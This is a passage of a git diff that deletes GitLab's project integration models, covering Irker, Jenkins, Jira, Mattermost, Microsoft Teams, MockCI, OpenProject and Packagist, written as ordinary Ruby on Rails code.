- { type: 'textarea', name: 'recipients',
- placeholder: 'Recipients/channels separated by whitespaces', required: true,
- help: 'Recipients have to be specified with a full URI: '\
- 'irc[s]://irc.network.net[:port]/#channel. Special cases: if '\
- 'you want the channel to be a nickname instead, append ",isnick" to ' \
- 'the channel name; if the channel is protected by a secret password, ' \
- ' append "?key=secretpassword" to the URI (Note that due to a bug, if you ' \
- ' want to use a password, you have to omit the "#" on the channel). If you ' \
- ' specify a default IRC URI to prepend before each recipient, you can just ' \
- ' give a channel name.' },
- { type: 'checkbox', name: 'colorize_messages' }
- ]
- end
-
- def help
- ' NOTE: Irker does NOT have built-in authentication, which makes it' \
- ' vulnerable to spamming IRC channels if it is hosted outside of a ' \
- ' firewall. Please make sure you run the daemon within a secured network ' \
- ' to prevent abuse. For more details, read: http://www.catb.org/~esr/irker/security.html.'
- end
-
- private
-
- def get_channels
- return true unless activated?
- return true if recipients.nil? || recipients.empty?
-
- map_recipients
-
- errors.add(:recipients, 'are all invalid') if channels.empty?
- true
- end
-
- def map_recipients
- self.channels = recipients.split(/\s+/).map do |recipient|
- format_channel(recipient)
- end
- channels.reject!(&:nil?)
- end
-
- def format_channel(recipient)
- uri = nil
-
- # Try to parse the chan as a full URI
- begin
- uri = consider_uri(URI.parse(recipient))
- rescue URI::InvalidURIError
- end
-
- unless uri.present? && default_irc_uri.nil?
- begin
- new_recipient = URI.join(default_irc_uri, '/', recipient).to_s
- uri = consider_uri(URI.parse(new_recipient))
- rescue StandardError
- log_error("Unable to create a valid URL", default_irc_uri: default_irc_uri, recipient: recipient)
- end
- end
-
- uri
- end
-
- def consider_uri(uri)
- return if uri.scheme.nil?
-
- # Authorize both irc://domain.com/#chan and irc://domain.com/chan
- if uri.is_a?(URI) && uri.scheme[/^ircs?\z/] && !uri.path.nil?
- uri.to_s
- end
- end
-end
diff --git a/app/models/project_services/issue_tracker_data.rb b/app/models/project_services/issue_tracker_data.rb
deleted file mode 100644
index 414f2c1da4d..00000000000
--- a/app/models/project_services/issue_tracker_data.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class IssueTrackerData < ApplicationRecord
- include Services::DataFields
-
- attr_encrypted :project_url, encryption_options
- attr_encrypted :issues_url, encryption_options
- attr_encrypted :new_issue_url, encryption_options
-end
diff --git a/app/models/project_services/issue_tracker_service.rb b/app/models/project_services/issue_tracker_service.rb
deleted file mode 100644
index 099e3c336dd..00000000000
--- a/app/models/project_services/issue_tracker_service.rb
+++ /dev/null
@@ -1,152 +0,0 @@
-# frozen_string_literal: true
-
-class IssueTrackerService < Integration
- validate :one_issue_tracker, if: :activated?, on: :manual_change
-
- # TODO: we can probably just delegate as part of
- # https://gitlab.com/gitlab-org/gitlab/issues/29404
- data_field :project_url, :issues_url, :new_issue_url
-
- default_value_for :category, 'issue_tracker'
-
- before_validation :handle_properties
- before_validation :set_default_data, on: :create
-
- # Pattern used to extract links from comments
- # Override this method on services that uses different patterns
- # This pattern does not support cross-project references
- # The other code assumes that this pattern is a superset of all
- # overridden patterns. See ReferenceRegexes.external_pattern
- def self.reference_pattern(only_long: false)
- if only_long
- /(\b[A-Z][A-Z0-9_]*-)#{Gitlab::Regex.issue}/
- else
- /(\b[A-Z][A-Z0-9_]*-|#{Issue.reference_prefix})#{Gitlab::Regex.issue}/
- end
- end
-
- def handle_properties
- # this has been moved from initialize_properties and should be improved
- # as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
- return unless properties
-
- @legacy_properties_data = properties.dup
- data_values = properties.slice!('title', 'description')
- data_values.reject! { |key| data_fields.changed.include?(key) }
- data_values.slice!(*data_fields.attributes.keys)
- data_fields.assign_attributes(data_values) if data_values.present?
-
- self.properties = {}
- end
-
- def legacy_properties_data
- @legacy_properties_data ||= {}
- end
-
- def supports_data_fields?
- true
- end
-
- def data_fields
- issue_tracker_data || self.build_issue_tracker_data
- end
-
- def default?
- default
- end
-
- def issue_url(iid)
- issues_url.gsub(':id', iid.to_s)
- end
-
- def issue_tracker_path
- project_url
- end
-
- def new_issue_path
- new_issue_url
- end
-
- def issue_path(iid)
- issue_url(iid)
- end
-
- def fields
- [
- { type: 'text', name: 'project_url', title: _('Project URL'), help: s_('IssueTracker|The URL to the project in the external issue tracker.'), required: true },
- { type: 'text', name: 'issues_url', title: s_('IssueTracker|Issue URL'), help: s_('IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}.') % { colon_id: '<code>:id</code>'.html_safe }, required: true },
- { type: 'text', name: 'new_issue_url', title: s_('IssueTracker|New issue URL'), help: s_('IssueTracker|The URL to create an issue in the external issue tracker.'), required: true }
- ]
- end
-
- def initialize_properties
- {}
- end
-
- # Initialize with default properties values
- def set_default_data
- return unless issues_tracker.present?
-
- # we don't want to override if we have set something
- return if project_url || issues_url || new_issue_url
-
- data_fields.project_url = issues_tracker['project_url']
- data_fields.issues_url = issues_tracker['issues_url']
- data_fields.new_issue_url = issues_tracker['new_issue_url']
- end
-
- def self.supported_events
- %w(push)
- end
-
- def execute(data)
- return unless supported_events.include?(data[:object_kind])
-
- message = "#{self.type} was unable to reach #{self.project_url}. Check the url and try again."
- result = false
-
- begin
- response = Gitlab::HTTP.head(self.project_url, verify: true)
-
- if response
- message = "#{self.type} received response #{response.code} when attempting to connect to #{self.project_url}"
- result = true
- end
- rescue Gitlab::HTTP::Error, Timeout::Error, SocketError, Errno::ECONNRESET, Errno::ECONNREFUSED, OpenSSL::SSL::SSLError => error
- message = "#{self.type} had an error when trying to connect to #{self.project_url}: #{error.message}"
- end
- log_info(message)
- result
- end
-
- def support_close_issue?
- false
- end
-
- def support_cross_reference?
- false
- end
-
- private
-
- def enabled_in_gitlab_config
- Gitlab.config.issues_tracker &&
- Gitlab.config.issues_tracker.values.any? &&
- issues_tracker
- end
-
- def issues_tracker
- Gitlab.config.issues_tracker[to_param]
- end
-
- def one_issue_tracker
- return if template? || instance?
- return if project.blank?
-
- if project.integrations.external_issue_trackers.where.not(id: id).any?
- errors.add(:base, _('Another issue tracker is already in use. Only one issue tracker service can be active at a time'))
- end
- end
-end
-
-IssueTrackerService.prepend_mod_with('IssueTrackerService')
diff --git a/app/models/project_services/jenkins_service.rb b/app/models/project_services/jenkins_service.rb
deleted file mode 100644
index 990a35cd617..00000000000
--- a/app/models/project_services/jenkins_service.rb
+++ /dev/null
@@ -1,111 +0,0 @@
-# frozen_string_literal: true
-
-class JenkinsService < CiService
- include ActionView::Helpers::UrlHelper
-
- prop_accessor :jenkins_url, :project_name, :username, :password
-
- before_update :reset_password
-
- validates :jenkins_url, presence: true, addressable_url: true, if: :activated?
- validates :project_name, presence: true, if: :activated?
- validates :username, presence: true, if: ->(service) { service.activated? && service.password_touched? && service.password.present? }
-
- default_value_for :push_events, true
- default_value_for :merge_requests_events, false
- default_value_for :tag_push_events, false
-
- after_save :compose_service_hook, if: :activated?
-
- def reset_password
- # don't reset the password if a new one is provided
- if (jenkins_url_changed? || username.blank?) && !password_touched?
- self.password = nil
- end
- end
-
- def compose_service_hook
- hook = service_hook || build_service_hook
- hook.url = hook_url
- hook.save
- end
-
- def execute(data)
- return unless supported_events.include?(data[:object_kind])
-
- service_hook.execute(data, "#{data[:object_kind]}_hook")
- end
-
- def test(data)
- begin
- result = execute(data)
- return { success: false, result: result[:message] } if result[:http_status] != 200
- rescue StandardError => error
- return { success: false, result: error }
- end
-
- { success: true, result: result[:message] }
- end
-
- def hook_url
- url = URI.parse(jenkins_url)
- url.path = File.join(url.path || '/', "project/#{project_name}")
- url.user = ERB::Util.url_encode(username) unless username.blank?
- url.password = ERB::Util.url_encode(password) unless password.blank?
- url.to_s
- end
-
- def self.supported_events
- %w(push merge_request tag_push)
- end
-
- def title
- 'Jenkins'
- end
-
- def description
- s_('Run CI/CD pipelines with Jenkins.')
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('integration/jenkins'), target: '_blank', rel: 'noopener noreferrer'
- s_('Run CI/CD pipelines with Jenkins when you push to a repository, or when a merge request is created, updated, or merged. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def self.to_param
- 'jenkins'
- end
-
- def fields
- [
- {
- type: 'text',
- name: 'jenkins_url',
- title: s_('ProjectService|Jenkins server URL'),
- required: true,
- placeholder: 'http://jenkins.example.com',
- help: s_('The URL of the Jenkins server.')
- },
- {
- type: 'text',
- name: 'project_name',
- required: true,
- placeholder: 'my_project_name',
- help: s_('The name of the Jenkins project. Copy the name from the end of the URL to the project.')
- },
- {
- type: 'text',
- name: 'username',
- required: true,
- help: s_('The username for the Jenkins server.')
- },
- {
- type: 'password',
- name: 'password',
- help: s_('The password for the Jenkins server.'),
- non_empty_password_title: s_('ProjectService|Enter new password.'),
- non_empty_password_help: s_('ProjectService|Leave blank to use your current password.')
- }
- ]
- end
-end
diff --git a/app/models/project_services/jira_service.rb b/app/models/project_services/jira_service.rb
deleted file mode 100644
index 5cd6e79eb1d..00000000000
--- a/app/models/project_services/jira_service.rb
+++ /dev/null
@@ -1,541 +0,0 @@
-# frozen_string_literal: true
-
-# Accessible as Project#external_issue_tracker
-class JiraService < IssueTrackerService
- extend ::Gitlab::Utils::Override
- include Gitlab::Routing
- include ApplicationHelper
- include ActionView::Helpers::AssetUrlHelper
- include Gitlab::Utils::StrongMemoize
-
- PROJECTS_PER_PAGE = 50
-
- # TODO: use jira_service.deployment_type enum when https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37003 is merged
- DEPLOYMENT_TYPES = {
- server: 'SERVER',
- cloud: 'CLOUD'
- }.freeze
-
- validates :url, public_url: true, presence: true, if: :activated?
- validates :api_url, public_url: true, allow_blank: true
- validates :username, presence: true, if: :activated?
- validates :password, presence: true, if: :activated?
-
- validates :jira_issue_transition_id,
- format: { with: Gitlab::Regex.jira_transition_id_regex, message: s_("JiraService|transition ids can have only numbers which can be split with , or ;") },
- allow_blank: true
-
- # Jira Cloud version is deprecating authentication via username and password.
- # We should use username/password for Jira Server and email/api_token for Jira Cloud,
- # for more information check: https://gitlab.com/gitlab-org/gitlab-foss/issues/49936.
-
- # TODO: we can probably just delegate as part of
- # https://gitlab.com/gitlab-org/gitlab/issues/29404
- data_field :username, :password, :url, :api_url, :jira_issue_transition_automatic, :jira_issue_transition_id, :project_key, :issues_enabled,
- :vulnerabilities_enabled, :vulnerabilities_issuetype
-
- before_update :reset_password
- after_commit :update_deployment_type, on: [:create, :update], if: :update_deployment_type?
-
- enum comment_detail: {
- standard: 1,
- all_details: 2
- }
-
- alias_method :project_url, :url
-
- # When these are false GitLab does not create cross reference
- # comments on Jira except when an issue gets transitioned.
- def self.supported_events
- %w(commit merge_request)
- end
-
- def self.supported_event_actions
- %w(comment)
- end
-
- # {PROJECT-KEY}-{NUMBER} Examples: JIRA-1, PROJECT-1
- def self.reference_pattern(only_long: true)
- @reference_pattern ||= /(?<issue>\b#{Gitlab::Regex.jira_issue_key_regex})/
- end
-
- def initialize_properties
- {}
- end
-
- def data_fields
- jira_tracker_data || self.build_jira_tracker_data
- end
-
- def reset_password
- data_fields.password = nil if reset_password?
- end
-
- def set_default_data
- return unless issues_tracker.present?
-
- return if url
-
- data_fields.url ||= issues_tracker['url']
- data_fields.api_url ||= issues_tracker['api_url']
- end
-
- def options
- url = URI.parse(client_url)
-
- {
- username: username&.strip,
- password: password,
- site: URI.join(url, '/').to_s, # Intended to find the root
- context_path: url.path,
- auth_type: :basic,
- read_timeout: 120,
- use_cookies: true,
- additional_cookies: ['OBBasicAuth=fromDialog'],
- use_ssl: url.scheme == 'https'
- }
- end
-
- def client
- @client ||= begin
- JIRA::Client.new(options).tap do |client|
- # Replaces JIRA default http client with our implementation
- client.request_client = Gitlab::Jira::HttpClient.new(client.options)
- end
- end
- end
-
- def help
- jira_doc_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_url('integration/jira/index.html') }
- s_("JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}.") % { jira_doc_link_start: jira_doc_link_start, link_end: '</a>'.html_safe }
- end
-
- def title
- 'Jira'
- end
-
- def description
- s_("JiraService|Use Jira as this project's issue tracker.")
- end
-
- def self.to_param
- 'jira'
- end
-
- def fields
- [
- {
- type: 'text',
- name: 'url',
- title: s_('JiraService|Web URL'),
- placeholder: 'https://jira.example.com',
- help: s_('JiraService|Base URL of the Jira instance.'),
- required: true
- },
- {
- type: 'text',
- name: 'api_url',
- title: s_('JiraService|Jira API URL'),
- help: s_('JiraService|If different from Web URL.')
- },
- {
- type: 'text',
- name: 'username',
- title: s_('JiraService|Username or Email'),
- help: s_('JiraService|Use a username for server version and an email for cloud version.'),
- required: true
- },
- {
- type: 'password',
- name: 'password',
- title: s_('JiraService|Password or API token'),
- non_empty_password_title: s_('JiraService|Enter new password or API token'),
- non_empty_password_help: s_('JiraService|Leave blank to use your current password or API token.'),
- help: s_('JiraService|Use a password for server version and an API token for cloud version.'),
- required: true
- }
- ]
- end
-
- def issues_url
- "#{url}/browse/:id"
- end
-
- def new_issue_url
- "#{url}/secure/CreateIssue!default.jspa"
- end
-
- alias_method :original_url, :url
- def url
- original_url&.delete_suffix('/')
- end
-
- alias_method :original_api_url, :api_url
- def api_url
- original_api_url&.delete_suffix('/')
- end
-
- def execute(push)
- # This method is a no-op, because currently JiraService does not
- # support any events.
- end
-
- def find_issue(issue_key, rendered_fields: false, transitions: false)
- expands = []
- expands << 'renderedFields' if rendered_fields
- expands << 'transitions' if transitions
- options = { expand: expands.join(',') } if expands.any?
-
- jira_request { client.Issue.find(issue_key, options || {}) }
- end
-
- def close_issue(entity, external_issue, current_user)
- issue = find_issue(external_issue.iid, transitions: jira_issue_transition_automatic)
-
- return if issue.nil? || has_resolution?(issue) || !issue_transition_enabled?
-
- commit_id = case entity
- when Commit then entity.id
- when MergeRequest then entity.diff_head_sha
- end
-
- commit_url = build_entity_url(:commit, commit_id)
-
- # Depending on the Jira project's workflow, a comment during transition
- # may or may not be allowed. Refresh the issue after transition and check
- # if it is closed, so we don't have one comment for every commit.
- issue = find_issue(issue.key) if transition_issue(issue)
- add_issue_solved_comment(issue, commit_id, commit_url) if has_resolution?(issue)
- log_usage(:close_issue, current_user)
- end
-
- def create_cross_reference_note(mentioned, noteable, author)
- unless can_cross_reference?(noteable)
- return s_("JiraService|Events for %{noteable_model_name} are disabled.") % { noteable_model_name: noteable.model_name.plural.humanize(capitalize: false) }
- end
-
- jira_issue = find_issue(mentioned.id)
-
- return unless jira_issue.present?
-
- noteable_id = noteable.respond_to?(:iid) ? noteable.iid : noteable.id
- noteable_type = noteable_name(noteable)
- entity_url = build_entity_url(noteable_type, noteable_id)
- entity_meta = build_entity_meta(noteable)
-
- data = {
- user: {
- name: author.name,
- url: resource_url(user_path(author))
- },
- project: {
- name: project.full_path,
- url: resource_url(project_path(project))
- },
- entity: {
- id: entity_meta[:id],
- name: noteable_type.humanize.downcase,
- url: entity_url,
- title: noteable.title,
- description: entity_meta[:description],
- branch: entity_meta[:branch]
- }
- }
-
- add_comment(data, jira_issue).tap { log_usage(:cross_reference, author) }
- end
-
- def valid_connection?
- test(nil)[:success]
- end
-
- def test(_)
- result = server_info
- success = result.present?
- result = @error&.message unless success
-
- { success: success, result: result }
- end
-
- override :support_close_issue?
- def support_close_issue?
- true
- end
-
- override :support_cross_reference?
- def support_cross_reference?
- true
- end
-
- def issue_transition_enabled?
- jira_issue_transition_automatic || jira_issue_transition_id.present?
- end
-
- private
-
- def server_info
- strong_memoize(:server_info) do
- client_url.present? ? jira_request { client.ServerInfo.all.attrs } : nil
- end
- end
-
- def can_cross_reference?(noteable)
- case noteable
- when Commit then commit_events
- when MergeRequest then merge_requests_events
- else true
- end
- end
-
- # jira_issue_transition_id can have multiple values split by , or ;
- # the issue is transitioned at the order given by the user
- # if any transition fails it will log the error message and stop the transition sequence
- def transition_issue(issue)
- return transition_issue_to_done(issue) if jira_issue_transition_automatic
-
- jira_issue_transition_id.scan(Gitlab::Regex.jira_transition_id_regex).all? do |transition_id|
- transition_issue_to_id(issue, transition_id)
- end
- end
-
- def transition_issue_to_id(issue, transition_id)
- issue.transitions.build.save!(
- transition: { id: transition_id }
- )
-
- true
- rescue StandardError => error
- log_error(
- "Issue transition failed",
- error: {
- exception_class: error.class.name,
- exception_message: error.message,
- exception_backtrace: Gitlab::BacktraceCleaner.clean_backtrace(error.backtrace)
- },
- client_url: client_url
- )
-
- false
- end
-
- def transition_issue_to_done(issue)
- transitions = issue.transitions rescue []
-
- transition = transitions.find do |transition|
- status = transition&.to&.statusCategory
- status && status['key'] == 'done'
- end
-
- return false unless transition
-
- transition_issue_to_id(issue, transition.id)
- end
-
- def log_usage(action, user)
- key = "i_ecosystem_jira_service_#{action}"
-
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(key, values: user.id)
- end
-
- def add_issue_solved_comment(issue, commit_id, commit_url)
- link_title = "Solved by commit #{commit_id}."
- comment = "Issue solved with [#{commit_id}|#{commit_url}]."
- link_props = build_remote_link_props(url: commit_url, title: link_title, resolved: true)
- send_message(issue, comment, link_props)
- end
-
- def add_comment(data, issue)
- entity_name = data[:entity][:name]
- entity_url = data[:entity][:url]
- entity_title = data[:entity][:title]
-
- message = comment_message(data)
- link_title = "#{entity_name.capitalize} - #{entity_title}"
- link_props = build_remote_link_props(url: entity_url, title: link_title)
-
- unless comment_exists?(issue, message)
- send_message(issue, message, link_props)
- end
- end
-
- def comment_message(data)
- user_link = build_jira_link(data[:user][:name], data[:user][:url])
-
- entity = data[:entity]
- entity_ref = all_details? ? "#{entity[:name]} #{entity[:id]}" : "a #{entity[:name]}"
- entity_link = build_jira_link(entity_ref, entity[:url])
-
- project_link = build_jira_link(project.full_name, Gitlab::Routing.url_helpers.project_url(project))
- branch =
- if entity[:branch].present?
- s_('JiraService| on branch %{branch_link}') % {
- branch_link: build_jira_link(entity[:branch], project_tree_url(project, entity[:branch]))
- }
- end
-
- entity_message = entity[:description].presence if all_details?
- entity_message ||= entity[:title].chomp
-
- s_('JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}') % {
- user_link: user_link,
- entity_link: entity_link,
- project_link: project_link,
- branch: branch,
- entity_message: entity_message
- }
- end
-
- def build_jira_link(title, url)
- "[#{title}|#{url}]"
- end
-
- def has_resolution?(issue)
- issue.respond_to?(:resolution) && issue.resolution.present?
- end
-
- def comment_exists?(issue, message)
- comments = jira_request { issue.comments }
-
- comments.present? && comments.any? { |comment| comment.body.include?(message) }
- end
-
- def send_message(issue, message, remote_link_props)
- return unless client_url.present?
-
- jira_request do
- remote_link = find_remote_link(issue, remote_link_props[:object][:url])
-
- create_issue_comment(issue, message) unless remote_link
- remote_link ||= issue.remotelink.build
- remote_link.save!(remote_link_props)
-
- log_info("Successfully posted", client_url: client_url)
- "SUCCESS: Successfully posted to #{client_url}."
- end
- end
-
- def create_issue_comment(issue, message)
- return unless comment_on_event_enabled
-
- issue.comments.build.save!(body: message)
- end
-
- def find_remote_link(issue, url)
- links = jira_request { issue.remotelink.all }
- return unless links
-
- links.find { |link| link.object["url"] == url }
- end
-
- def build_remote_link_props(url:, title:, resolved: false)
- status = {
- resolved: resolved
- }
-
- {
- GlobalID: 'GitLab',
- relationship: 'mentioned on',
- object: {
- url: url,
- title: title,
- status: status,
- icon: {
- title: 'GitLab', url16x16: asset_url(Gitlab::Favicon.main, host: gitlab_config.base_url)
- }
- }
- }
- end
-
- def resource_url(resource)
- "#{Settings.gitlab.base_url.chomp("/")}#{resource}"
- end
-
- def build_entity_url(noteable_type, entity_id)
- polymorphic_url(
- [
- self.project,
- noteable_type.to_sym
- ],
- id: entity_id,
- host: Settings.gitlab.base_url
- )
- end
-
- def build_entity_meta(noteable)
- if noteable.is_a?(Commit)
- {
- id: noteable.short_id,
- description: noteable.safe_message,
- branch: noteable.ref_names(project.repository).first
- }
- elsif noteable.is_a?(MergeRequest)
- {
- id: noteable.to_reference,
- branch: noteable.source_branch
- }
- else
- {}
- end
- end
-
- def noteable_name(noteable)
- name = noteable.model_name.singular
-
- # ProjectSnippet inherits from Snippet class so it causes
- # routing error building the URL.
- name == "project_snippet" ? "snippet" : name
- end
-
- # Handle errors when doing Jira API calls
- def jira_request
- yield
- rescue StandardError => error
- @error = error
- log_error("Error sending message", client_url: client_url, error: @error.message)
- nil
- end
-
- def client_url
- api_url.presence || url
- end
-
- def reset_password?
- # don't reset the password if a new one is provided
- return false if password_touched?
- return true if api_url_changed?
- return false if api_url.present?
-
- url_changed?
- end
-
- def update_deployment_type?
- (api_url_changed? || url_changed? || username_changed? || password_changed?) &&
- can_test?
- end
-
- def update_deployment_type
- clear_memoization(:server_info) # ensure we run the request when we try to update deployment type
- results = server_info
- return data_fields.deployment_unknown! unless results.present?
-
- case results['deploymentType']
- when 'Server'
- data_fields.deployment_server!
- when 'Cloud'
- data_fields.deployment_cloud!
- else
- data_fields.deployment_unknown!
- end
- end
-
- def self.event_description(event)
- case event
- when "merge_request", "merge_request_events"
- s_("JiraService|Jira comments will be created when an issue gets referenced in a merge request.")
- when "commit", "commit_events"
- s_("JiraService|Jira comments will be created when an issue gets referenced in a commit.")
- end
- end
-end
-
-JiraService.prepend_mod_with('JiraService')
diff --git a/app/models/project_services/jira_tracker_data.rb b/app/models/project_services/jira_tracker_data.rb
deleted file mode 100644
index 2c145abf5c9..00000000000
--- a/app/models/project_services/jira_tracker_data.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class JiraTrackerData < ApplicationRecord
- include Services::DataFields
- include IgnorableColumns
-
- ignore_columns %i[
- encrypted_proxy_address
- encrypted_proxy_address_iv
- encrypted_proxy_port
- encrypted_proxy_port_iv
- encrypted_proxy_username
- encrypted_proxy_username_iv
- encrypted_proxy_password
- encrypted_proxy_password_iv
- ], remove_with: '14.0', remove_after: '2021-05-22'
-
- attr_encrypted :url, encryption_options
- attr_encrypted :api_url, encryption_options
- attr_encrypted :username, encryption_options
- attr_encrypted :password, encryption_options
-
- enum deployment_type: { unknown: 0, server: 1, cloud: 2 }, _prefix: :deployment
-end
diff --git a/app/models/project_services/mattermost_service.rb b/app/models/project_services/mattermost_service.rb
deleted file mode 100644
index 732a7c32a03..00000000000
--- a/app/models/project_services/mattermost_service.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-class MattermostService < ChatNotificationService
- include SlackMattermost::Notifier
- include ActionView::Helpers::UrlHelper
-
- def title
- s_('Mattermost notifications')
- end
-
- def description
- s_('Send notifications about project events to Mattermost channels.')
- end
-
- def self.to_param
- 'mattermost'
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/mattermost'), target: '_blank', rel: 'noopener noreferrer'
- s_('Send notifications about project events to Mattermost channels. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def default_channel_placeholder
- 'my-channel'
- end
-
- def webhook_placeholder
- 'http://mattermost.example.com/hooks/'
- end
-end
diff --git a/app/models/project_services/mattermost_slash_commands_service.rb b/app/models/project_services/mattermost_slash_commands_service.rb
deleted file mode 100644
index 60235a09dcd..00000000000
--- a/app/models/project_services/mattermost_slash_commands_service.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-class MattermostSlashCommandsService < SlashCommandsService
- include Ci::TriggersHelper
-
- prop_accessor :token
-
- def can_test?
- false
- end
-
- def title
- 'Mattermost slash commands'
- end
-
- def description
- "Perform common tasks with slash commands."
- end
-
- def self.to_param
- 'mattermost_slash_commands'
- end
-
- def configure(user, params)
- token = Mattermost::Command.new(user)
- .create(command(params))
-
- update(active: true, token: token) if token
- rescue Mattermost::Error => e
- [false, e.message]
- end
-
- def list_teams(current_user)
- [Mattermost::Team.new(current_user).all, nil]
- rescue Mattermost::Error => e
- [[], e.message]
- end
-
- def chat_responder
- ::Gitlab::Chat::Responder::Mattermost
- end
-
- private
-
- def command(params)
- pretty_project_name = project.full_name
-
- params.merge(
- auto_complete: true,
- auto_complete_desc: "Perform common operations on: #{pretty_project_name}",
- auto_complete_hint: '[help]',
- description: "Perform common operations on: #{pretty_project_name}",
- display_name: "GitLab / #{pretty_project_name}",
- method: 'P',
- username: 'GitLab')
- end
-end
diff --git a/app/models/project_services/microsoft_teams_service.rb b/app/models/project_services/microsoft_teams_service.rb
deleted file mode 100644
index 1d2067067da..00000000000
--- a/app/models/project_services/microsoft_teams_service.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-class MicrosoftTeamsService < ChatNotificationService
- def title
- 'Microsoft Teams notifications'
- end
-
- def description
- 'Send notifications about project events to Microsoft Teams.'
- end
-
- def self.to_param
- 'microsoft_teams'
- end
-
- def help
- '<p>Use this service to send notifications about events in GitLab projects to your Microsoft Teams channels. <a href="https://docs.gitlab.com/ee/user/project/integrations/microsoft_teams.html">How do I configure this integration?</a></p>'
- end
-
- def webhook_placeholder
- 'https://outlook.office.com/webhook/…'
- end
-
- def event_field(event)
- end
-
- def default_channel_placeholder
- end
-
- def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push
- pipeline wiki_page]
- end
-
- def default_fields
- [
- { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" },
- { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'If selected, successful pipelines do not trigger a notification event.' },
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
- ]
- end
-
- private
-
- def notify(message, opts)
- MicrosoftTeams::Notifier.new(webhook).ping(
- title: message.project_name,
- summary: message.summary,
- activity: message.activity,
- attachments: message.attachments
- )
- end
-
- def custom_data(data)
- super(data).merge(markdown: true)
- end
-end
diff --git a/app/models/project_services/mock_ci_service.rb b/app/models/project_services/mock_ci_service.rb
deleted file mode 100644
index bd6344c6e1a..00000000000
--- a/app/models/project_services/mock_ci_service.rb
+++ /dev/null
@@ -1,90 +0,0 @@
-# frozen_string_literal: true
-
-# For an example companion mocking service, see https://gitlab.com/gitlab-org/gitlab-mock-ci-service
-class MockCiService < CiService
- ALLOWED_STATES = %w[failed canceled running pending success success-with-warnings skipped not_found].freeze
-
- prop_accessor :mock_service_url
- validates :mock_service_url, presence: true, public_url: true, if: :activated?
-
- def title
- 'MockCI'
- end
-
- def description
- 'Mock an external CI'
- end
-
- def self.to_param
- 'mock_ci'
- end
-
- def fields
- [
- {
- type: 'text',
- name: 'mock_service_url',
- title: s_('ProjectService|Mock service URL'),
- placeholder: 'http://localhost:4004',
- required: true
- }
- ]
- end
-
- # Return complete url to build page
- #
- # Ex.
- # http://jenkins.example.com:8888/job/test1/scm/bySHA1/12d65c
- #
- def build_page(sha, ref)
- Gitlab::Utils.append_path(
- mock_service_url,
- "#{project.namespace.path}/#{project.path}/status/#{sha}")
- end
-
- # Return string with build status or :error symbol
- #
- # Allowed states: 'success', 'failed', 'running', 'pending', 'skipped'
- #
- #
- # Ex.
- # @service.commit_status('13be4ac', 'master')
- # # => 'success'
- #
- # @service.commit_status('2abe4ac', 'dev')
- # # => 'running'
- #
- #
- def commit_status(sha, ref)
- response = Gitlab::HTTP.get(commit_status_path(sha), verify: false)
- read_commit_status(response)
- rescue Errno::ECONNREFUSED
- :error
- end
-
- def commit_status_path(sha)
- Gitlab::Utils.append_path(
- mock_service_url,
- "#{project.namespace.path}/#{project.path}/status/#{sha}.json")
- end
-
- def read_commit_status(response)
- return :error unless response.code == 200 || response.code == 404
-
- status = if response.code == 404
- 'pending'
- else
- response['status']
- end
-
- if status.present? && ALLOWED_STATES.include?(status)
- status
- else
- :error
- end
- end
-
- def can_test?
- false
- end
-end
diff --git a/app/models/project_services/open_project_service.rb b/app/models/project_services/open_project_service.rb
deleted file mode 100644
index a24fbc1611d..00000000000
--- a/app/models/project_services/open_project_service.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class OpenProjectService < IssueTrackerService
- validates :url, public_url: true, presence: true, if: :activated?
- validates :api_url, public_url: true, allow_blank: true, if: :activated?
- validates :token, presence: true, if: :activated?
- validates :project_identifier_code, presence: true, if: :activated?
-
- data_field :url, :api_url, :token, :closed_status_id, :project_identifier_code
-
- def data_fields
- open_project_tracker_data || self.build_open_project_tracker_data
- end
-
- def self.to_param
- 'open_project'
- end
-end
diff --git a/app/models/project_services/open_project_tracker_data.rb b/app/models/project_services/open_project_tracker_data.rb
deleted file mode 100644
index 20de60e40c1..00000000000
--- a/app/models/project_services/open_project_tracker_data.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class OpenProjectTrackerData < ApplicationRecord
- include Services::DataFields
-
- # When the Open Project is fresh installed, the default closed status id is "13" based on current version: v8.
- DEFAULT_CLOSED_STATUS_ID = "13"
-
- attr_encrypted :url, encryption_options
- attr_encrypted :api_url, encryption_options
- attr_encrypted :token, encryption_options
-
- def closed_status_id
- super || DEFAULT_CLOSED_STATUS_ID
- end
-end
diff --git a/app/models/project_services/packagist_service.rb b/app/models/project_services/packagist_service.rb
deleted file mode 100644
index f3ea8c64302..00000000000
--- a/app/models/project_services/packagist_service.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-# frozen_string_literal: true
-
-class PackagistService < Integration
- prop_accessor :username, :token, :server
-
- validates :username, presence: true, if: :activated?
- validates :token, presence: true, if: :activated?
-
- default_value_for :push_events, true
- default_value_for :tag_push_events, true
-
- after_save :compose_service_hook, if: :activated?
-
- def title
- 'Packagist'
- end
-
- def description
- s_('Integrations|Update your Packagist projects.')
- end
-
- def self.to_param
- 'packagist'
- end
-
- def fields
- [
